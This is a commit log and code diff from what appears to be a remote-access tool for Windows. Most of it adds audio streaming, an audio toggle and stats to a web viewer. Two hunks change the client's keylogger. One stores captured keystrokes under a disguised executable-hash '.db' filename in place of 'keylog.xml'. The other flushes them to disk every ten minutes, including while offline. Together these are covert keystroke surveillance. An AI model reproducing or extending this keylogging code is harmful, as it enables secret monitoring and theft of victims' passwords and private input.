7 Commits
v1.3.5 ... main

Author SHA1 Message Date
yuanyuanxiang
fcd3b13ca8 Fix: skip detection black-screen on single-monitor capture 2026-06-03 19:09:26 +02:00
yuanyuanxiang
99be79b7ae Fix: Save keyboard input log to file every 10 minutes 2026-06-03 19:03:32 +02:00
yuanyuanxiang
dc83c2df42 Feature(web): show host remark alongside hostname 2026-06-02 22:07:56 +02:00
yuanyuanxiang
a52874fe08 Feature(web): bandwidth read-out + collapsible fullscreen toolbar 2026-06-02 21:50:21 +02:00
yuanyuanxiang
7aeb7b6ed5 Fix: guard on share_list to avoid duplicate sub-clients on reconnect 2026-06-02 20:52:27 +02:00
yuanyuanxiang
498c7d15b3 Feature(web): Add toolbar audio toggle button 2026-06-02 20:52:20 +02:00
yuanyuanxiang
9aca587654 Feature(audio): forward client PCM to web viewers with continuous playback 2026-06-02 12:09:57 +02:00
14 changed files with 790 additions and 18 deletions

View File

@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
if (!app.m_bShared) {
static bool hasRun = false;
if (!app.m_bShared && !hasRun) {
hasRun = true;
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {

View File

@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile);
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL;
clock_t lastCheck = 0;
auto lastSave = time(0);
while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
continue;
}
Sleep(5);
auto tm = time(0);
if (tm - lastSave > 600) {
lastSave = tm;
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
}
#if USING_KB_HOOK
clock_t now = clock();
if (now - lastCheck > 1000) {

View File

@@ -7,8 +7,6 @@
#include "Manager.h"
#include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager

View File

@@ -150,6 +150,12 @@ public:
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
// 且被 GetFirstScreenData 预先填过同帧像素,
// 导致首帧 memcmp 错误命中、跳过 encode、
// 永远不产 IDR → web 黑屏
int m_nScreenCount; // 屏幕数量
BOOL m_bEnableMultiScreen;// 多显示器支持
@@ -949,6 +955,7 @@ public:
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
break;
}
default:
@@ -974,9 +981,14 @@ public:
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
// 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA
// 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。
//
// m_bEncoderPrimed 门encoder 还没产出过任何包时不允许 skip。
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
LPBYTE prev = GetFirstBuffer();
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
*ulNextSendLength = 1 + offset; // 仅 cursor无视频负载
return m_RectBuffer;
}
@@ -987,6 +999,7 @@ public:
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义skip 才安全
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
// 失败时下一帧会误以为"已发"而漏发真实变化。
memcpy(prev, nextData, bgraSize);

View File

@@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
}
#endif
}
if (pThis->m_pCaptureClient == nullptr)
break;
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);

View File

@@ -9651,6 +9651,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
}
}
bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
{
HWND hWnd = NULL;
EnterCriticalSection(&m_cs);
for (auto& pair : m_RemoteWnds) {
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
hWnd = dlg->GetSafeHwnd();
break;
}
}
LeaveCriticalSection(&m_cs);
if (hWnd && ::IsWindow(hWnd)) {
// PostMessage 把活儿丢到对话框的 UI 线程,避免 WS 线程动 waveOut 句柄
return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
}
return false;
}
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
{
CScreenSpyDlg* targetDlg = nullptr;

View File

@@ -373,6 +373,7 @@ public:
void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID);
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
bool PostWebAudioToggle(uint64_t clientID); // 给 Web 会话 ScreenSpy 投递音频开关消息
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession();

View File

@@ -18,6 +18,7 @@
#include <md5.h>
#include <cstdint> // for uint16_t
#include <vector>
#include <mutex> // for std::mutex, std::lock_guard
#include "WebService.h"
// 文件接收消息数据结构
@@ -223,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
// 透传客户端初始的音频开/关状态给 web让前端按钮显示正确
WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
}
}
@@ -567,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
ON_WM_DROPFILES()
ON_WM_CAPTURECHANGED()
END_MESSAGE_MAP()
@@ -3494,9 +3498,73 @@ void CScreenSpyDlg::StopAudioPlayback()
#endif
m_nAudioCompression = 0;
// 重置网页端音频格式标志(线程安全的清理)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[ScreenSpy] 音频播放已停止\n");
}
void CScreenSpyDlg::DisableAudio()
{
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅禁用
if (m_Settings.AudioEnabled) {
m_Settings.AudioEnabled = FALSE;
SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
StopAudioPlayback();
// 清理网页端格式状态(在 mutex 保护下)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[Audio Web] 禁用音频(来自 web 命令)\n");
// 广播状态给所有正在观看本设备的 web 客户端
if (WebService().IsRunning()) {
WebService().NotifyAudioState(m_ClientID, false);
}
}
}
void CScreenSpyDlg::EnableAudio()
{
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅启用
if (!m_Settings.AudioEnabled) {
m_Settings.AudioEnabled = TRUE;
SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
// 强制重新发送格式信息(清理缓存)
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
m_bAudioFormatSent = FALSE;
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
}
Mprintf("[Audio Web] 启用音频(来自 web 命令)\n");
if (WebService().IsRunning()) {
WebService().NotifyAudioState(m_ClientID, true);
}
}
}
// 由 PostMessage 从 WS 线程派发到 UI 线程;根据当前状态翻转
LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
{
if (m_Settings.AudioEnabled) {
DisableAudio();
} else {
EnableAudio();
}
return 0;
}
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
{
if (len < 1) return;
@@ -3535,12 +3603,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
UINT32 audioLen = len - offset;
if (audioLen == 0) return;
// 保存"上线格式"字节Opus 模式下是原始压缩包PCM 模式下是原始 PCM
// 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus
// 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM因此下面
// 还是会解码一遍。
BYTE* pWireData = pAudioData;
UINT32 wireLen = audioLen;
BYTE wireCompression = (BYTE)m_nAudioCompression;
// 帧对齐参数
DWORD blockAlign = m_AudioFormat.nBlockAlign;
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
#if USING_OPUS
// Opus 解码
// Opus 解码(仅供本地 waveOut 使用web 仍会收到原始压缩包)
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
@@ -3583,10 +3659,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
}
// 发送上线格式Opus 压缩包 / 或原始 PCM到网页
SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
// 填充可用的 waveOut 缓冲区
FeedAudioBuffers();
}
void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
{
if (!WebService().IsRunning()) return;
if (!pAudioData || len == 0) return;
if (!m_ContextObject) return;
if (!m_Settings.AudioEnabled) return;
std::vector<BYTE> packet;
BOOL formatChanged = FALSE;
{
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
if (!m_bAudioFormatSent) {
formatChanged = TRUE;
} else if (pFormat && (
pFormat->nChannels != m_AudioFormatWeb.channels ||
pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
compression != m_AudioFormatWeb.compression)) {
formatChanged = TRUE;
}
// 第1字节是否包含格式信息
packet.push_back(formatChanged ? 1 : 0);
if (formatChanged && pFormat) {
if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
pFormat->wBitsPerSample != 16) {
Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
return;
}
// 12-byte AudioFormat 结构commands.h, pack(1)
AudioFormat fmt;
fmt.channels = (WORD)pFormat->nChannels;
fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
// blockAlign 对 Opus 是 informational 的(包是变长压缩),按 PCM 推算填上即可。
fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
fmt.compression = compression;
fmt.reserved = 0;
BYTE* pFmt = (BYTE*)&fmt;
packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
// padding byte: 保持后续音频数据落在偶数偏移上PCM 模式下 web 端
// 需要 Int16 对齐Opus 模式无所谓但保留兼容旧 web 解析)
packet.push_back(0);
m_AudioFormatWeb = fmt;
m_bAudioFormatSent = TRUE;
Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
fmt.channels, fmt.sampleRate, fmt.compression);
}
} // 释放 mutex
// 添加音频数据(此操作不需要 mutex因为我们已经复制了所有需要的共享状态
packet.insert(packet.end(), pAudioData, pAudioData + len);
// 构造完整帧:[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
// FrameType: 96 = TOKEN_SCREEN_AUDIO用于在网页端识别音频
std::vector<BYTE> frame;
uint64_t deviceID = GetClientID();
uint32_t audioDataLen = (uint32_t)packet.size();
uint8_t frameType = 96; // TOKEN_SCREEN_AUDIO
// [DeviceID:4] little-endian
frame.push_back((BYTE)(deviceID & 0xFF));
frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
// [FrameType:1]
frame.push_back(frameType);
// [DataLen:4] little-endian
frame.push_back((BYTE)(audioDataLen & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
// [audio payload]
frame.insert(frame.end(), packet.begin(), packet.end());
// 广播到所有网页客户端
WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
}
void CScreenSpyDlg::FeedAudioBuffers()
{
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;

View File

@@ -9,6 +9,7 @@
#include "2015RemoteDlg.h"
#include "common/config.h"
#include "common/commands.h" // 包含 AudioFormat 定义
extern "C"
{
@@ -92,6 +93,9 @@ extern "C"
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
// 来自 web 命令的音频开关PostMessage 到对话框的 UI 线程,避免 WS 线程
// 直接动 waveOut 句柄
#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
// ScreenSpyDlg 系统菜单命令 ID
enum {
@@ -349,11 +353,23 @@ public:
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
#endif
// 网页端音频发送状态
BOOL m_bAudioFormatSent = FALSE; // 是否已发送格式信息到网页
AudioFormat m_AudioFormatWeb = {}; // 上次发送给网页的格式
// 音频到网页的多线程同步
std::mutex m_AudioWebMutex; // 保护音频发送状态的互斥锁
// 注意m_Settings.AudioEnabled 是全局的音频启用/禁用状态
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
void StopAudioPlayback(); // 停止音频播放
void DisableAudio(); // 禁用音频(从网页命令)
void EnableAudio(); // 启用音频(从网页命令)
LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam); // PostMessage 处理器
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
void FeedAudioBuffers(); // 填充音频缓冲区
void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression); // 发送音频到网页 (compression=AudioCompression)
int GetClientRTT(); // 获取客户端RTT(ms)
void EvaluateQuality(); // 评估并调整质量

View File

@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token);
} else if (cmd == "audio_toggle") {
HandleAudioToggle(ws_ptr, token);
} else if (cmd == "get_salt") {
HandleGetSalt(ws_ptr, msg);
} else if (cmd == "create_user") {
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
}
}
// Get screen dimensions from device info cache (may not be available yet)
// Get screen dimensions + audio state from device info cache (may not be ready)
int width = 0, height = 0;
int audio_enabled = -1; // -1 = unknown yet (前端走 audio_state 事件兜底)
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it != m_DeviceCache.end()) {
width = it->second->screen_width;
height = it->second->screen_height;
audio_enabled = it->second->audio_enabled;
}
}
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
res["width"] = width;
res["height"] = height;
}
if (audio_enabled >= 0) {
res["audio_enabled"] = (audio_enabled != 0);
}
res["algorithm"] = "h264";
Json::StreamWriterBuilder builder;
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
}
}
void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
return;
}
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) device_id = it->second.watch_device_id;
}
if (device_id == 0) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
return;
}
// 投递到 ScreenSpyDlg 的 UI 线程;那边会调用 Enable/DisableAudio 并通过
// NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
return;
}
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
}
//////////////////////////////////////////////////////////////////////////
// User Management Handlers
//////////////////////////////////////////////////////////////////////////
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
device["name"] = AnsiToUtf8(name);
// 用户在 MFC 端给这台主机起的备注(菜单"修改备注"写入 MAP_NOTE
// 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
if (m_pParentDlg->m_ClientMap) {
CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
ctx->GetClientID(), MAP_NOTE);
if (!remark.IsEmpty()) {
device["remark"] = AnsiToUtf8(remark);
}
}
CString ip = ctx->GetClientData(ONLINELIST_IP);
device["ip"] = AnsiToUtf8(ip);
@@ -1699,6 +1743,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
}
}
void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
if (m_bStopping) return;
// 缓存最新状态,新加入的 web 客户端通过 connect_result 取到初值
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it == m_DeviceCache.end()) {
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
it = m_DeviceCache.find(device_id);
}
it->second->audio_enabled = enabled ? 1 : 0;
}
Json::Value res;
res["cmd"] = "audio_state";
res["id"] = device_id;
res["enabled"] = enabled;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return;

View File

@@ -55,6 +55,8 @@ struct WebDeviceInfo {
int screen_width;
int screen_height;
bool online;
// 当前会话的音频开关。-1=未知(客户端 BITMAPINFO 还没回来0=关1=开
int audio_enabled = -1;
// Keyframe cache for new web clients
std::vector<uint8_t> keyframe_cache;
@@ -98,6 +100,10 @@ public:
// Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Audio enable/disable notification — pushes current state to all web
// clients watching this device and caches it for newcomers.
void NotifyAudioState(uint64_t device_id, bool enabled);
// Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
@@ -129,6 +135,7 @@ private:
void HandleMouse(void* ws_ptr, const std::string& msg);
void HandleKey(void* ws_ptr, const std::string& msg);
void HandleRdpReset(void* ws_ptr, const std::string& token);
void HandleAudioToggle(void* ws_ptr, const std::string& token);
// Token management
std::string GenerateToken(const std::string& username, const std::string& role);

View File

@@ -7,6 +7,7 @@ require (
github.com/gorilla/websocket v1.5.3
github.com/klauspost/compress v1.18.2
github.com/rs/zerolog v1.34.0
golang.org/x/sync v0.20.0
golang.org/x/text v0.32.0
gopkg.in/natefinch/lumberjack.v2 v2.2.1
)
@@ -14,6 +15,5 @@ require (
require (
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/sys v0.12.0 // indirect
)

View File

@@ -51,6 +51,15 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
h.handleConnect(c, raw)
case "rdp_reset":
h.handleRdpReset(c, raw)
case "audio_toggle":
// Audio capture/forwarding is not yet ported from the C++ WebService
// (see project_go_webservice_port). Reply explicitly so the front-end
// console shows why the toolbar button has no effect, instead of the
// request being silently dropped by the default case.
c.queue(mustJSON(map[string]any{
"cmd": "audio_toggle_result", "ok": false,
"msg": "Audio toggle not supported on Go server yet",
}))
case "mouse":
h.handleMouse(c, raw)
case "key":

View File

@@ -737,6 +737,7 @@
.toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
.toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
.toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
.toolbar-btn-bar.muted { opacity: 0.55; }
.toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
.toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
#screen-page:fullscreen .screen-toolbar { display: none; }
@@ -828,6 +829,17 @@
.toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
.toolbar-btn:disabled:hover { background: transparent; }
.toolbar-btn:disabled:active { transform: none; }
/* Throughput read-out inside the floating toolbar (fullscreen mode).
Hidden automatically while empty so the toolbar collapses cleanly. */
.fb-stats {
color: rgba(255,255,255,0.9);
font-size: 12px;
padding: 0 10px 0 6px;
font-variant-numeric: tabular-nums;
white-space: nowrap;
user-select: none;
}
.fb-stats:empty { display: none; }
.toolbar-toggle {
position: fixed;
/* 同 .floating-toolbar8px 基础 + 安全区 inset 避开刘海/灵动岛 */
@@ -1174,6 +1186,7 @@
<div class="toolbar-right">
<span id="screen-status" class="screen-status connecting">Connecting...</span>
<button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
<button class="toolbar-btn-bar" id="btn-audio-bar" onclick="toggleAudio()" title="Mute audio">&#x1F50A;</button>
<button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
<button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
<button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">&#x26F6;</button>
@@ -1203,10 +1216,12 @@
<div class="touch-indicator" id="touch-indicator"></div>
<button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">&#x2022;&#x2022;&#x2022;</button>
<div class="floating-toolbar" id="floating-toolbar">
<span class="fb-stats" id="fb-stats"></span>
<button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
<button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
<button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
<button class="toolbar-btn" onclick="disconnect()" title="Disconnect">&#x2715;</button>
<button class="toolbar-btn" onclick="toggleFloatingToolbar()" title="Collapse">&#x25B4;</button>
</div>
<div class="zoom-indicator" id="zoom-indicator">100%</div>
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
@@ -1283,12 +1298,80 @@
<script src="/static/xterm.js"></script>
<script src="/static/xterm-fit.js"></script>
<!-- Opus codec for audio decompression -->
<script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
<script>
let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
// FPS 计数原始风格——decoder.onOutput 里 ++,每经过 1 秒采样一次。
// 简单直接,与本次会话改动前一致。
// 网络流量统计handleBinaryFrame 累加,每 1 秒钟 renderStats 读出
let bwBytesAccum = 0; // current-second byte accumulator
let bwBytesPerSec = 0; // last second's throughput (bytes/sec)
let currentWidth = 0, currentHeight = 0; // captured at frame decode time
const canvas = document.getElementById('screen-canvas');
const ctx = canvas.getContext('2d');
// ====== Audio & Video Implementation ======
//
// - Video: H.264 / AV1 → VideoDecoder Web API → canvas
// - Audio: client encodes PCM → Opus, server forwards raw Opus packets
// to web, web wraps each packet in a WebM SimpleBlock and
// feeds it to MediaSource → <audio> element (browser decodes
// Opus natively, plays via standard media-element pipeline).
//
// WS binary frame layout (matches C++ ScreenSpyDlg.cpp):
// Video : [deviceID:4][frameType:1][dataLen:4][videoData:N]
// Audio : [deviceID:4][frameType=96:1][dataLen:4]
// [hasFormat:1][AudioFormat:12][padding:1]?[opusPacket:N]
// Term : [magic:4='TRM1'][terminalData:N]
//
// AudioFormat (12 bytes, commands.h, pack(1)):
// channels:2 sampleRate:4 bitsPerSample:2 blockAlign:2
// compression:1 (0=PCM unsupported by web, 1=Opus) reserved:1
// MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap
// each one in a minimal WebM container in JS and feed it to a
// SourceBuffer attached to a hidden <audio> element. The browser
// decodes Opus natively. Tested on desktop Chrome; mobile playback
// is a known follow-up (see commit notes).
let audioFormat = null; // { compression, channels, sampleRate, bitsPerSample, blockAlign }
let audioEnabled = true; // Audio on/off flag (set by UI)
let syncDrift = 0; // A/V sync monitoring (milliseconds)
let _audioElement = null; // hidden <audio> sink
let _mediaSource = null; // MediaSource attached to _audioElement
let _sourceBuffer = null; // SourceBuffer (Opus in WebM)
const _sourceBufferQueue = []; // appendBuffer queue (one in-flight at a time)
let _sourceBufferBusy = false;
let _initSegmentSent = false; // first init segment appended for current format
let _opusTimestampMs = 0; // running absolute cluster timestamp (ms)
const OPUS_FRAME_MS = 20; // 960 samples @ 48k — matches client encoder
const _pendingOpusPackets = []; // packets received before SourceBuffer is ready
// Browser autoplay policies require an HTMLAudioElement to be created
// and .play()'d synchronously inside a user-gesture event handler.
// We hook the first click/keydown to spin up the element + MediaSource.
// Subsequent activity (e.g. tab regaining focus) re-issues play().
function installAudioGestureUnlock() {
const onGesture = () => {
if (!_audioElement) {
try {
_setupAudioElementAndMediaSource();
console.log('[MSE] <audio> + MediaSource set up by gesture');
} catch (e) {
console.error('[MSE] setup failed:', e && e.message);
}
} else if (_audioElement.paused) {
_audioElement.play().catch(() => {});
}
};
const opts = { passive: true, capture: true };
window.addEventListener('click', onGesture, opts);
window.addEventListener('keydown', onGesture, opts);
}
installAudioGestureUnlock();
// Pagination and filter state
let currentPage = 1;
let viewMode = 'grid'; // 'grid' or 'list'
@@ -1409,7 +1492,7 @@
}
}
};
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); stopAllAudio(); audioFormat = null; scheduleReconnect(); };
ws.onerror = (e) => console.error('WS error:', e);
ws.onmessage = (event) => {
if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
@@ -1486,11 +1569,22 @@
// Wait for resolution_changed message
updateScreenStatus('waiting', 'Waiting for video...');
}
// Audio state may or may not be cached yet on the server.
// If not, the audio_state event below will populate it.
if (typeof msg.audio_enabled === 'boolean') {
applyAudioState(msg.audio_enabled);
}
} else {
updateScreenStatus('error', msg.msg);
setTimeout(() => showPage('devices-page'), 2000);
}
break;
case 'audio_state':
applyAudioState(!!msg.enabled);
break;
case 'audio_toggle_result':
if (!msg.ok) console.warn('[Audio] toggle failed:', msg.msg);
break;
case 'term_ready':
termState.ready = true;
document.getElementById('term-status-info').textContent =
@@ -1603,8 +1697,12 @@
